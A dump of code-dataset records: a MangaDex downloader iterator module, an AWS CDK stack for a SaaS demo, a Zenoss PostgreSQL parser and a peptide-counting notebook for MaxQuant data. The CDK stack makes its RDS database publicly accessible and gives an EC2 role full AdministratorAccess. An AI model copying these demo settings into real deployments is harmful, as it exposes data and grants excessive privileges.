're_reading',\n 'completed'\n ]\n\n def __init__(self, status=None):\n super().__init__()\n\n self.limit = 100\n self.offset = 0\n\n if status is not None and status not in self.statuses:\n raise MangaDexException(f\"{status} are not valid status, choices are {set(self.statuses)}\")\n\n self.status = status\n\n lib = {}\n for stat in self.statuses:\n lib[stat] = []\n self.library = lib\n\n logged_in = Net.mangadex.check_login()\n if not logged_in:\n raise NotLoggedIn(\"Retrieving user library require login\")\n\n self._parse_reading_status()\n\n def _parse_reading_status(self):\n r = Net.mangadex.get(f'{base_url}/manga/status')\n data = r.json()\n\n for manga_id, status in data['statuses'].items():\n self.library[status].append(manga_id)\n\n def _check_status(self, manga):\n if self.status is None:\n return True\n\n manga_ids = self.library[self.status]\n return manga.id in manga_ids\n\n def next(self) -> Manga:\n while True:\n manga = super().next()\n\n if not self._check_status(manga):\n # Filter is used\n continue\n \n return manga\n\n def fill_data(self):\n includes = [\n 'artist', 'author', 'cover_art'\n ]\n params = {\n 'includes[]': includes,\n 'limit': self.limit,\n 'offset': self.offset,\n }\n url = f'{base_url}/user/follows/manga'\n r = Net.mangadex.get(url, params=params)\n data = r.json()\n\n items = data['data']\n\n for item in items:\n self.queue.put(Manga(data=item))\n \n self.offset += len(items)\n\nclass IteratorMangaFromList(BaseIterator):\n def __init__(self, _id=None, data=None):\n if _id is None and data is None:\n raise ValueError(\"atleast provide _id or data\")\n elif _id and data:\n raise ValueError(\"_id and data cannot be together\")\n\n super().__init__()\n\n self.id = _id\n self.data = data\n self.limit = 100\n self.name = None # type: str\n self.user = None # type: User\n\n self.manga_ids = []\n\n self._parse_list()\n\n def _parse_list(self):\n if self.id:\n data = get_list(self.id)['data']\n else:\n data = self.data\n\n self.name = data['attributes']['name']\n \n for rel in data['relationships']:\n _type = rel['type']\n _id = rel['id']\n if _type == 'manga':\n self.manga_ids.append(_id)\n elif _type == 'user':\n self.user = User(_id)\n \n def fill_data(self):\n ids = self.manga_ids\n includes = ['author', 'artist', 'cover_art']\n content_ratings = [\n 'safe',\n 'suggestive',\n 'erotica',\n 'pornographic' # Filter porn content will be done in next()\n ]\n\n limit = self.limit\n if ids:\n param_ids = ids[:limit]\n del ids[:len(param_ids)]\n params = {\n 'includes[]': includes,\n 'limit': limit,\n 'contentRating[]': content_ratings,\n 'ids[]': param_ids\n }\n url = f'{base_url}/manga'\n r = Net.mangadex.get(url, params=params)\n data = r.json()\n\n notexist_ids = param_ids.copy()\n copy_data = data.copy()\n for manga_data in copy_data['data']:\n manga = Manga(data=manga_data)\n if manga.id in notexist_ids:\n notexist_ids.remove(manga.id)\n \n if notexist_ids:\n for manga_id in notexist_ids:\n log.warning(f'There is ghost (not exist) manga = {manga_id} in list {self.name}')\n\n for manga_data in data['data']:\n self.queue.put(Manga(data=manga_data))\n\nclass IteratorUserLibraryList(BaseIterator):\n def __init__(self):\n super().__init__()\n\n self.limit = 100\n self.offset = 0\n\n logged_in = Net.mangadex.check_login()\n if not logged_in:\n raise NotLoggedIn(\"Retrieving user library require login\")\n\n def fill_data(self):\n params = {\n 'limit': self.limit,\n 'offset': self.offset,\n }\n url = f'{base_url}/user/list'\n r = Net.mangadex.get(url, params=params)\n data = r.json()\n\n items = data['data']\n\n for item in items:\n self.queue.put(MangaDexList(data=item))\n \n self.offset += len(items)\n\nclass IteratorUserList(BaseIterator):\n def __init__(self, _id=None):\n super().__init__()\n\n self.limit = 100\n self.user = User(_id)\n \n def fill_data(self):\n params = {\n 'limit': self.limit,\n 'offset': self.offset,\n \n }\n url = f'{base_url}/user/{self.user.id}/list'\n try:\n r = Net.mangadex.get(url, params=params)\n except HTTPException:\n # Some users are throwing server error (Bad gateway)\n # MD devs said it was cache and headers issues\n # Reference: https://api.mangadex.org/user/10dbf775-1935-4f89-87a5-a1f4e64d9d94/list\n # For now the app will throw error and tell the user cannot be fetched until it's get fixed\n\n # HTTPException from session only giving \"server throwing ... code\" message\n raise HTTPException(\n f\"An error occured when getting mdlists from user \\\"{self.user.id}\\\". \" \\\n f\"The app cannot fetch all MangaDex lists from user \\\"{self.user.id}\\\" \" \\\n \"because of server error. The only solution is to wait until this get fixed \" \\\n \"from MangaDex itself.\"\n ) from None\n\n data = r.json()\n\n items = data['data']\n\n for item in items:\n self.queue.put(MangaDexList(data=item))\n \n self.offset += len(items)\n\nclass IteratorUserLibraryFollowsList(BaseIterator):\n def __init__(self):\n super().__init__()\n\n self.limit = 100\n\n logged_in = Net.mangadex.check_login()\n if not logged_in:\n raise NotLoggedIn(\"Retrieving user library require login\")\n\n def fill_data(self):\n params = {\n 'limit': self.limit,\n 'offset': self.offset,\n }\n url = f'{base_url}/user/follows/list'\n r = Net.mangadex.get(url, params=params)\n data = r.json()\n\n items = data['data']\n\n for item in items:\n self.queue.put(MangaDexList(data=item))\n \n self.offset += len(items)\n\nclass IteratorSeasonalManga(IteratorMangaFromList):\n owner_list = 'd2ae45e0-b5e2-4e7f-a688-17925c2d7d6b'\n\n def __init__(self, season):\n seasons = self._get_seasons()\n\n try:\n mdlist = seasons[season]\n except KeyError:\n raise MangaDexException(f\"invalid season, available choices are {list(seasons.keys())}\")\n \n super().__init__(mdlist.id)\n\n @classmethod\n def _get_seasons(self):\n seasons = {}\n for mdlist in IteratorUserList(self.owner_list):\n name = mdlist.name.lower().replace('seasonal: ', '')\n seasons[name] = mdlist\n \n return seasons\n\ndef iter_random_manga(content_ratings):\n ids = []\n while True:\n params = {\n 'includes[]': ['author', 'artist', 'cover_art'],\n \"contentRating[]\": content_ratings\n }\n r = Net.mangadex.get(f'{base_url}/manga/random', params=params)\n data = r.json()['data']\n manga = Manga(data=data)\n\n if manga.id not in ids:\n # Make sure it's not duplicated manga\n ids.append(manga.id)\n yield manga\n\n continue", "repo_name": "tiberiusjos/pythonDownloader", "sub_path": "mangadex_downloader/iterator.py", "file_name": "iterator.py", "file_ext": "py", "file_size_in_byte": 18220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 19, "usage_type": "call"}, {"api_name": "queue.Empty", "line_number": 35, "usage_type": "attribute"}, {"api_name": "errors.MangaDexException", "line_number": 44, "usage_type": "name"}, {"api_name": "re.match", "line_number": 89, "usage_type": "call"}, {"api_name": "utils.validate_url", "line_number": 120, "usage_type": "call"}, {"api_name": "errors.InvalidURL", "line_number": 121, "usage_type": "name"}, {"api_name": "utils.validate_url", "line_number": 158, "usage_type": "call"}, {"api_name": "errors.InvalidURL", "line_number": 159, "usage_type": "name"}, {"api_name": "language.get_language", "line_number": 206, "usage_type": "call"}, {"api_name": "manga.ContentRating", "line_number": 227, "usage_type": "name"}, {"api_name": "config._validate_bool", "line_number": 232, "usage_type": "call"}, {"api_name": "config.ConfigTypeError", "line_number": 233, "usage_type": "name"}, {"api_name": "re.match", "line_number": 253, "usage_type": "call"}, {"api_name": "network.Net.mangadex.get", "line_number": 298, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 298, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 298, "usage_type": "name"}, {"api_name": "network.base_url", "line_number": 298, "usage_type": "name"}, {"api_name": "utils.get_local_attr", "line_number": 304, "usage_type": "call"}, {"api_name": "network.base_url", "line_number": 324, "usage_type": "name"}, {"api_name": "network.Net.mangadex.get", "line_number": 325, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 325, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 325, "usage_type": "name"}, {"api_name": "errors.MangaDexException", "line_number": 330, "usage_type": "call"}, {"api_name": "manga.Manga", "line_number": 335, "usage_type": "call"}, {"api_name": "errors.MangaDexException", "line_number": 356, "usage_type": "call"}, {"api_name": "network.Net.mangadex.check_login", "line_number": 365, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 365, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 365, "usage_type": "name"}, {"api_name": "errors.NotLoggedIn", "line_number": 367, "usage_type": "call"}, {"api_name": "network.Net.mangadex.get", "line_number": 372, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 372, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 372, "usage_type": "name"}, {"api_name": "network.base_url", "line_number": 372, "usage_type": "name"}, {"api_name": "manga.id", "line_number": 383, "usage_type": "attribute"}, {"api_name": "manga.Manga", "line_number": 385, "usage_type": "name"}, {"api_name": "network.base_url", "line_number": 404, "usage_type": "name"}, {"api_name": "network.Net.mangadex.get", "line_number": 405, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 405, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 405, "usage_type": "name"}, {"api_name": "manga.Manga", "line_number": 411, "usage_type": "call"}, {"api_name": "fetcher.get_list", "line_number": 436, "usage_type": "call"}, {"api_name": "user.User", "line_number": 448, "usage_type": "call"}, {"api_name": "network.base_url", "line_number": 470, "usage_type": "name"}, {"api_name": "network.Net.mangadex.get", "line_number": 471, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 471, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 471, "usage_type": "name"}, {"api_name": "manga.Manga", "line_number": 477, "usage_type": "call"}, {"api_name": "manga.id", "line_number": 478, "usage_type": "attribute"}, {"api_name": "manga.id", "line_number": 479, "usage_type": "attribute"}, {"api_name": "manga.Manga", "line_number": 486, "usage_type": "call"}, {"api_name": "network.Net.mangadex.check_login", "line_number": 495, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 495, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 495, "usage_type": "name"}, {"api_name": "errors.NotLoggedIn", "line_number": 497, "usage_type": "call"}, {"api_name": "network.base_url", "line_number": 504, "usage_type": "name"}, {"api_name": "network.Net.mangadex.get", "line_number": 505, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 505, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 505, "usage_type": "name"}, {"api_name": "mdlist.MangaDexList", "line_number": 511, "usage_type": "call"}, {"api_name": "user.User", "line_number": 520, "usage_type": "call"}, {"api_name": "network.base_url", "line_number": 528, "usage_type": "name"}, {"api_name": "network.Net.mangadex.get", "line_number": 530, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 530, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 530, "usage_type": "name"}, {"api_name": "errors.HTTPException", "line_number": 531, "usage_type": "name"}, {"api_name": "errors.HTTPException", "line_number": 538, "usage_type": "call"}, {"api_name": "mdlist.MangaDexList", "line_number": 550, "usage_type": "call"}, {"api_name": "network.Net.mangadex.check_login", "line_number": 560, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 560, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 560, "usage_type": "name"}, {"api_name": "errors.NotLoggedIn", "line_number": 562, "usage_type": "call"}, {"api_name": "network.base_url", "line_number": 569, "usage_type": "name"}, {"api_name": "network.Net.mangadex.get", "line_number": 570, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 570, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 570, "usage_type": "name"}, {"api_name": "mdlist.MangaDexList", "line_number": 576, "usage_type": "call"}, {"api_name": "errors.MangaDexException", "line_number": 589, "usage_type": "call"}, {"api_name": "mdlist.id", "line_number": 591, "usage_type": "attribute"}, {"api_name": "mdlist.name.lower", "line_number": 597, "usage_type": "call"}, {"api_name": "mdlist.name", "line_number": 597, "usage_type": "attribute"}, {"api_name": "network.Net.mangadex.get", "line_number": 609, "usage_type": "call"}, {"api_name": "network.Net.mangadex", "line_number": 609, "usage_type": "attribute"}, {"api_name": "network.Net", "line_number": 609, "usage_type": "name"}, {"api_name": "network.base_url", "line_number": 609, "usage_type": "name"}, {"api_name": "manga.Manga", "line_number": 611, "usage_type": "call"}, {"api_name": "manga.id", "line_number": 613, "usage_type": "attribute"}, {"api_name": "manga.id", "line_number": 615, "usage_type": "attribute"}]} {"seq_id": "12380667626", "text": "from aws_cdk import (\n # Duration,\n Stack, Fn,\n aws_rds,\n aws_iam,\n aws_ec2,\n aws_eks,\n RemovalPolicy, SecretValue,\n aws_lambda,\n aws_apigateway as apigw\n)\n\nfrom constructs import Construct\ncidr=\"10.10.0.0/16\"\nkey_name = \"my-key-pair\"\n\nclass SaasSolutionCdkStack(Stack):\n\n def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n super().__init__(scope, construct_id, **kwargs)\n\n azs = Fn.get_azs()\n self.vpc = aws_ec2.Vpc(self, \"VPC\",\n max_azs=2,\n ip_addresses=aws_ec2.IpAddresses.cidr(cidr),\n nat_gateways=2,\n enable_dns_hostnames=True,\n enable_dns_support=True,\n subnet_configuration=[\n aws_ec2.SubnetConfiguration(\n name=\"public\",\n subnet_type=aws_ec2.SubnetType.PUBLIC,\n cidr_mask=24),\n aws_ec2.SubnetConfiguration(\n subnet_type=aws_ec2.SubnetType.PRIVATE_WITH_EGRESS,\n name=\"private\",\n cidr_mask=24) # could be /16 to have more instances, but this is a demo scope.\n ]\n )\n \n postgres = aws_rds.DatabaseInstance(self, \"PostgresqlInstance\",\n database_name=\"tenantdb\",\n engine=aws_rds.DatabaseInstanceEngine.postgres(version=aws_rds.PostgresEngineVersion.VER_14_5),\n vpc_subnets=aws_ec2.SubnetSelection(subnet_type=aws_ec2.SubnetType.PRIVATE_WITH_EGRESS),\n vpc=self.vpc,\n port=5432,\n removal_policy=RemovalPolicy.DESTROY,\n deletion_protection=False,\n max_allocated_storage=200,\n publicly_accessible=True\n )\n \n # Create an IAM role for worker groups and kubernetes RBAC configuration\n self.eks_admin_role = aws_iam.Role(self, 'eksAdmin',\n assumed_by=aws_iam.ServicePrincipal(service='ec2.amazonaws.com'),\n role_name='eks-cluster-role', \n managed_policies=\n [aws_iam.ManagedPolicy.from_aws_managed_policy_name(managed_policy_name='AdministratorAccess')])\n self.eks_instance_profile = aws_iam.CfnInstanceProfile(self, 'instanceprofile',\n roles=[self.eks_admin_role.role_name],\n instance_profile_name='eks-cluster-role')\n \n \n \n\n cluster = aws_eks.Cluster(self, 'demo-cluster',\n masters_role=self.eks_admin_role,\n vpc=self.vpc,\n default_capacity=2,\n vpc_subnets=[aws_ec2.SubnetSelection(subnet_type=aws_ec2.SubnetType.PRIVATE_WITH_EGRESS)],\n version=aws_eks.KubernetesVersion.V1_24,\n output_cluster_name=True\n )\n\n\n", "repo_name": "jbcodeforce/big-data-tenant-analytics", "sub_path": "setup/saas-solution-cdk/saas_solution_cdk/saas_solution_cdk_stack.py", "file_name": "saas_solution_cdk_stack.py", "file_ext": "py", "file_size_in_byte": 3552, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "aws_cdk.Stack", "line_number": 17, "usage_type": "name"}, {"api_name": "constructs.Construct", "line_number": 19, "usage_type": "name"}, {"api_name": "aws_cdk.Fn.get_azs", "line_number": 22, "usage_type": "call"}, {"api_name": "aws_cdk.Fn", "line_number": 22, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.Vpc", "line_number": 23, "usage_type": "call"}, {"api_name": "aws_cdk.aws_ec2", "line_number": 23, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.IpAddresses.cidr", "line_number": 25, "usage_type": "call"}, {"api_name": "aws_cdk.aws_ec2.IpAddresses", "line_number": 25, "usage_type": "attribute"}, {"api_name": "aws_cdk.aws_ec2", "line_number": 25, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.SubnetConfiguration", "line_number": 30, "usage_type": "call"}, {"api_name": "aws_cdk.aws_ec2", "line_number": 30, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.SubnetType", "line_number": 32, "usage_type": "attribute"}, {"api_name": "aws_cdk.aws_ec2", "line_number": 32, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.SubnetConfiguration", "line_number": 34, "usage_type": "call"}, {"api_name": "aws_cdk.aws_ec2", "line_number": 34, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.SubnetType", "line_number": 35, "usage_type": "attribute"}, {"api_name": "aws_cdk.aws_ec2", "line_number": 35, "usage_type": "name"}, {"api_name": "aws_cdk.aws_rds.DatabaseInstance", "line_number": 41, "usage_type": "call"}, {"api_name": "aws_cdk.aws_rds", "line_number": 41, "usage_type": "name"}, {"api_name": "aws_cdk.aws_rds.DatabaseInstanceEngine.postgres", "line_number": 43, "usage_type": "call"}, {"api_name": "aws_cdk.aws_rds.DatabaseInstanceEngine", "line_number": 43, "usage_type": "attribute"}, {"api_name": "aws_cdk.aws_rds", "line_number": 43, "usage_type": "name"}, {"api_name": "aws_cdk.aws_rds.PostgresEngineVersion", "line_number": 43, "usage_type": "attribute"}, {"api_name": "aws_cdk.aws_ec2.SubnetSelection", "line_number": 44, "usage_type": "call"}, {"api_name": "aws_cdk.aws_ec2", "line_number": 44, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.SubnetType", "line_number": 44, "usage_type": "attribute"}, {"api_name": "aws_cdk.RemovalPolicy.DESTROY", "line_number": 47, "usage_type": "attribute"}, {"api_name": "aws_cdk.RemovalPolicy", "line_number": 47, "usage_type": "name"}, {"api_name": "aws_cdk.aws_iam.Role", "line_number": 54, "usage_type": "call"}, {"api_name": "aws_cdk.aws_iam", "line_number": 54, "usage_type": "name"}, {"api_name": "aws_cdk.aws_iam.ServicePrincipal", "line_number": 55, "usage_type": "call"}, {"api_name": "aws_cdk.aws_iam", "line_number": 55, "usage_type": "name"}, {"api_name": "aws_cdk.aws_iam.ManagedPolicy.from_aws_managed_policy_name", "line_number": 58, "usage_type": "call"}, {"api_name": "aws_cdk.aws_iam.ManagedPolicy", "line_number": 58, "usage_type": "attribute"}, {"api_name": "aws_cdk.aws_iam", "line_number": 58, "usage_type": "name"}, {"api_name": "aws_cdk.aws_iam.CfnInstanceProfile", "line_number": 59, "usage_type": "call"}, {"api_name": "aws_cdk.aws_iam", "line_number": 59, "usage_type": "name"}, {"api_name": "aws_cdk.aws_eks.Cluster", "line_number": 66, "usage_type": "call"}, {"api_name": "aws_cdk.aws_eks", "line_number": 66, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.SubnetSelection", "line_number": 70, "usage_type": "call"}, {"api_name": "aws_cdk.aws_ec2", "line_number": 70, "usage_type": "name"}, {"api_name": "aws_cdk.aws_ec2.SubnetType", "line_number": 70, "usage_type": "attribute"}, {"api_name": "aws_cdk.aws_eks.KubernetesVersion", "line_number": 71, "usage_type": "attribute"}, {"api_name": "aws_cdk.aws_eks", "line_number": 71, "usage_type": "name"}]} {"seq_id": "21046941099", "text": "import json\n\nfrom Products.ZenRRD.CommandParser import CommandParser\n\nclass table(CommandParser):\n def processResults(self, cmd, result):\n data = None\n try:\n data = json.loads(cmd.result.output)\n except ValueError:\n return\n\n if 'databases' not in data:\n return result\n\n for point in cmd.points:\n component = cmd.points[0].component\n\n table = None\n for dbName, dbStats in data['databases'].items():\n if table is not None:\n break\n\n for tableName, tableStats in dbStats['tables'].items():\n component_id = '{0}_{1}'.format(dbName, tableName)\n if component_id == component:\n table = tableStats\n break\n\n if table is None:\n # No matching table found.\n continue\n\n if point.id in table:\n result.values.append((point, table[point.id]))\n\n return result\n\n", "repo_name": "zenoss/ZenPacks.zenoss.PostgreSQL", "sub_path": "ZenPacks/zenoss/PostgreSQL/parsers/table.py", "file_name": "table.py", "file_ext": "py", "file_size_in_byte": 1054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "Products.ZenRRD.CommandParser.CommandParser", "line_number": 5, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 9, "usage_type": "call"}]} {"seq_id": "42516605816", "text": "# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: percent\n# format_version: '1.3'\n# jupytext_version: 1.14.5\n# kernelspec:\n# display_name: Python 3 (ipykernel)\n# language: python\n# name: python3\n# ---\n\n# %% [markdown]\n# # Count peptides over all files\n\n# %%\nimport os\nimport sys\nimport logging\nfrom pathlib import Path\nimport random\nimport yaml\nimport json\n\nimport pandas as pd\nimport ipywidgets as widgets\n\n### Logging setup ######\nfrom vaep.logging import setup_nb_logger\nsetup_nb_logger()\n\n### vaep imports ######\nfrom vaep.io.mq import MaxQuantOutputDynamic\nfrom vaep.io.data_objects import MqAllSummaries\nfrom vaep.io.data_objects import PeptideCounter\nimport vaep.pandas\n\n##################\n##### CONFIG #####\n##################\nfrom config import FOLDER_MQ_TXT_DATA, FOLDER_PROCESSED\n\nfrom config import FOLDER_DATA # project folder for storing the data\nlogging.info(f\"Search Raw-Files on path: {FOLDER_MQ_TXT_DATA}\")\n\n# %% [markdown]\n# Use samples previously loaded.\n\n# %%\nELIGABLE_FILES_YAML = Path('config/eligable_files.yaml')\nMAP_FOLDER_PATH = Path('config/file_paths')\n\nwith open(ELIGABLE_FILES_YAML) as f:\n files = set(yaml.safe_load(f)['files'])\n logging.info(f\"Found a total of {len(files):,d} eligable files.\")\nwith open(MAP_FOLDER_PATH) as f:\n folders_dict = yaml.safe_load(f)\n folders_dict = {folder: folders_dict[folder] for folder in files} # only select folders selected\n\nfolders = [Path(folders_dict[folder]) for folder in files]\nassert len(files) == len(folders_dict) == len(folders)\n\n# %%\nfn_id_old_new: str = 'data/rename/selected_old_new_id_mapping.csv' # selected samples with pride and original id\ndf_ids = pd.read_csv(fn_id_old_new)\ndf_ids\n\n# %%\nfolders_dict = { sample_id: FOLDER_MQ_TXT_DATA / sample_id for sample_id in df_ids['Sample ID']}\n# folders_dict = {p.stem : p.parent / p.stem for p in folders_dict}\n# folders_dict\n\n# %%\nOVERWRITE = False\n\nfrom config import FNAME_C_PEPTIDES, FNAME_C_EVIDENCE, FNAME_C_PG, FNAME_C_GENES\n\nFNAME_C_PEPTIDES, FNAME_C_EVIDENCE, FNAME_C_PG, FNAME_C_GENES\n\n# %% [markdown]\n# ## Random example\n\n# %%\nimport random\npd.set_option('display.max_columns', 60)\nrandom_folder, random_path = random.sample(folders_dict.items(), 1)[0]\nmq_output = MaxQuantOutputDynamic(random_path)\nprint(f\"peptides.txt from {random_folder!s}\")\nmq_output.peptides\n\n# %%\nuse_columns = mq_output.peptides.columns[33:45]\ndf = mq_output.peptides[use_columns].convert_dtypes() #.to_json('test.json')\ndf\n\n# %%\ndf_json_string = df.to_json(orient='index', indent=4)\ndf_json_string[:1000]\n\n# %%\ndf_csv = df.to_csv()\ndf_csv[:1000]\n\n# %%\npd.read_json(df_json_string, orient='index')\n\n# %%\nmq_output.peptides.Intensity # as is in peptides.txt, comma seperated thousands\n\n# %% [markdown]\n# ## Count aggregated peptides\n\n# %%\npeptide_counter = PeptideCounter(FNAME_C_PEPTIDES, overwrite=OVERWRITE)\npeptide_counter\n\n# %%\nif peptide_counter.loaded:\n print(peptide_counter.counter.most_common(10),\n len(peptide_counter.loaded),\n sep='\\n')\nelse:\n print('New file created.')\n\n# %% [markdown]\n# - creates peptide intensity dumps for each MQ outputfolder per default `count_peptides` function (default processing function for `PeptideCounter`)\n\n# %%\n# %%time\n# folders = [Path(folder_path) for folder_path in folders_dict.values()]\nc = peptide_counter.sum_over_files(folders=folders)\n\n# %%\nc.most_common(10) # peptide_counter.counter.most_common(10)\n\n# %%\n# To share as python file\nN = 1000\nwith open(FOLDER_PROCESSED / f'most_common_{10}_peptides.py', 'w') as f:\n f.write('import pandas as pd\\n\\n')\n \n #pprint.pformat list -> do this using standardlibrary\n # https://docs.python.org/3/library/pprint.html\n f.write(f\"most_common = [\\n \")\n f.write(',\\n '.join(f\"{str(t)}\" for t in c.most_common(N)))\n f.write(\"\\n]\\n\\n\")\n \n #peptide_counter.loaded()\n \n f.write(\"pd.DataFrame.from_records(most_common, index='Sequence', columns=['Sequence', 'counts'])\\n\")\n\n# %% [markdown] Collapsed=\"false\"\n# ## Peptides by charge\n#\n# - count peptides by charge state (which are aggregated in `peptides.txt`)\n\n# %%\nevidence_cols = vaep.pandas.get_columns_accessor(mq_output.evidence.reset_index())\nevidence_cols # vaep.mq get this list\n\n# %%\nevidence = mq_output.evidence.set_index(evidence_cols.Charge, append=True)\nevidence\n\n# %% [markdown]\n# Modifikationen könnten noch zum index hinzugefügt werden\n\n# %%\nevidence.Modifications.value_counts()\n\n# %%\nvaep.pandas.prop_unique_index(evidence)\n\n# %% [markdown]\n# Using the protein AA sequence and it's charge as identifiers, does not yield a unique index.\n#\n# First potential contaminants and peptides with zero intensity (or missing intensity) can be removed from the table.\n#\n# These are apparently peptides identified by an MS2 spectrum but which could not be quantified by a MS1 scans\n\n# %%\nmask = evidence[evidence_cols.Intensity].isna()\nevidence.loc[mask, evidence_cols.Type].value_counts()\n\n# %%\nevidence_cols = vaep.io.data_objects.evidence_cols\nuse_cols = [evidence_cols.mz, evidence_cols.Protein_group_IDs, evidence_cols.Intensity, evidence_cols.Score, evidence_cols.Potential_contaminant]\n\nevidence_selected = vaep.io.data_objects.select_evidence(evidence[use_cols])\nevidence_selected\n\n# %%\nevidence_selected = evidence_selected.sort_values(by=['Sequence', 'Charge', 'Score'], ascending=False)\nevidence_selected\n\n# %%\nevidence_selected = vaep.pandas.select_max_by(evidence_selected.reset_index(), [evidence_cols.Sequence, evidence_cols.Charge], evidence_cols.Score)\nevidence_selected\n\n# %%\nfrom collections import Counter\nc = Counter()\nc.update(evidence.index)\nc.most_common(10)\n\n# %%\nexample = evidence.loc[c.most_common(10)[0][0]]\n\nvaep.pandas.show_columns_with_variation(example)\n\n# %% [markdown]\n# - `Type`: only `MULTI-MSMS` and `MULIT-SECPEP` are quantified (does this mean a matching MS1 spectrum?)\n\n# %%\nevidence[evidence_cols.Type].value_counts()\n\n# %% [markdown]\n# Some peptides can be assigned to different protein group IDs (razor peptides)\n# - option: discared non-unique peptides (and Protein group IDs can be already a combination of several isotopes)\n# - option: select on `Score` or `Intensity` (is there a relationship?)\n# - option: select based on `Number of isotopic peaks`\n\n# %%\nevidence[evidence_cols.Protein_group_IDs].value_counts()\n\n# %% [markdown]\n# ## Count peptides based on evidence files\n\n# %%\nevidence_counter = vaep.io.data_objects.EvidenceCounter(FNAME_C_EVIDENCE, overwrite=OVERWRITE)\nc = evidence_counter.sum_over_files(folders=folders)\n\n# %% [markdown]\n# ## Protein Groups\n#\n# - protein groups between files\n# - aggregate by GENE ?\n# - \n\n# %%\nmq_output.proteinGroups.describe(include='all')\n\n# %%\npg_cols = vaep.pandas.get_columns_accessor(mq_output.proteinGroups.reset_index())\npg_cols\n\n# %%\nuse_cols = [\n# pg_cols.Protein_IDs,\n pg_cols.Majority_protein_IDs,\n pg_cols.Gene_names,\n pg_cols.Evidence_IDs,\n pg_cols.Q_value,\n pg_cols.Score,\n pg_cols.Only_identified_by_site,\n pg_cols.Reverse,\n pg_cols.Potential_contaminant,\n pg_cols.Intensity,\n]\n\npd.options.display.max_rows = 100\npd.options.display.min_rows = 40\nmask = mq_output.proteinGroups[[pg_cols.Only_identified_by_site, pg_cols.Reverse, pg_cols.Potential_contaminant]].notna().sum(axis=1) > 0\nmq_output.proteinGroups.loc[mask, use_cols]\n\n# %%\nmsg = \"Omitting the data drops {0:.3f} % of the data.\"\nprint(msg.format(\nmask.sum() / len(mask) * 100\n))\n\n# %%\nselection = mq_output.proteinGroups.loc[~mask, use_cols]\ngene_counts = selection[pg_cols.Gene_names].value_counts() # Gene Names not unique\nmsg = 'proportion of entries with non-unique genes: {:.3f}'\nprint(msg.format(gene_counts.loc[gene_counts > 1].sum() / gene_counts.sum()))\ngene_counts.head(20)\n\n# %%\nmask = selection.Intensity > 0 \nmsg = \"Proportion of non-zero Intensities: {:.3f} (zero_ count = {})\"\nprint(msg.format(mask.sum() / len(mask), (~mask).sum()))\nselection.loc[~mask]\n\n# %%\nselection = selection.loc[mask]\n\n# %% [markdown]\n# Some Proteins have no gene annotation\n# - P56181 -> mitochondrial\n#\n# In the online version of Uniprot these seems to be annotated (brief check). \n# So latest version probably has a gene annotation, so therefore these files are kept\n\n# %%\ngene_set = selection[pg_cols.Gene_names].str.split(';')\n\ncol_loc_gene_names = selection.columns.get_loc(pg_cols.Gene_names)\n_ = selection.insert(col_loc_gene_names+1, 'Number of Genes', gene_set.apply(vaep.pandas.length))\n\nmask = gene_set.isna()\nselection.loc[mask]\n\n# %%\ncols = vaep.pandas.get_columns_accessor(selection)\ngene_counts = vaep.pandas.counts_with_proportion(selection[cols.Number_of_Genes])\ngene_counts\n\n# %% [markdown]\n# Most `proteinGroups` have single genes assigned to them. If one only looks at gene sets,\n# one can increase uniquely identified `proteinGroups` further. \n#\n# > Can `geneGroups` (sets of `Gene Names`) be used instead of `proteinGroups`?\n\n# %%\ngene_sets_counts = selection[cols.Gene_names].value_counts()\ngene_sets_counts.value_counts()\n\n# %% [markdown]\n# Potential solutions:\n# - summarize intensity per gene. One of the isoforms seems to have the major proportion of intensity assigned.\n# - select maximum by score (higher scores seem to be related to higher intensity)\n\n# %%\nnon_unique_genes = gene_sets_counts.loc[gene_sets_counts > 1].index\n\nmask = selection[cols.Gene_names].isin(non_unique_genes)\nselection.loc[mask].reset_index().set_index(cols.Gene_names).sort_index()\n\n# %% [markdown]\n# Protein Groups with Gene set with three and more genes:\n\n# %%\nselection.loc[selection[cols.Number_of_Genes] > 2]\n\n# %%\nlogging.info(f\"Selection shape before dropping duplicates by gene: {selection.shape}\")\nmask_no_gene = selection[pg_cols.Gene_names].isna()\nselection_no_gene = selection.loc[mask_no_gene]\nlogging.info(f\"Entries without any gene annotation: 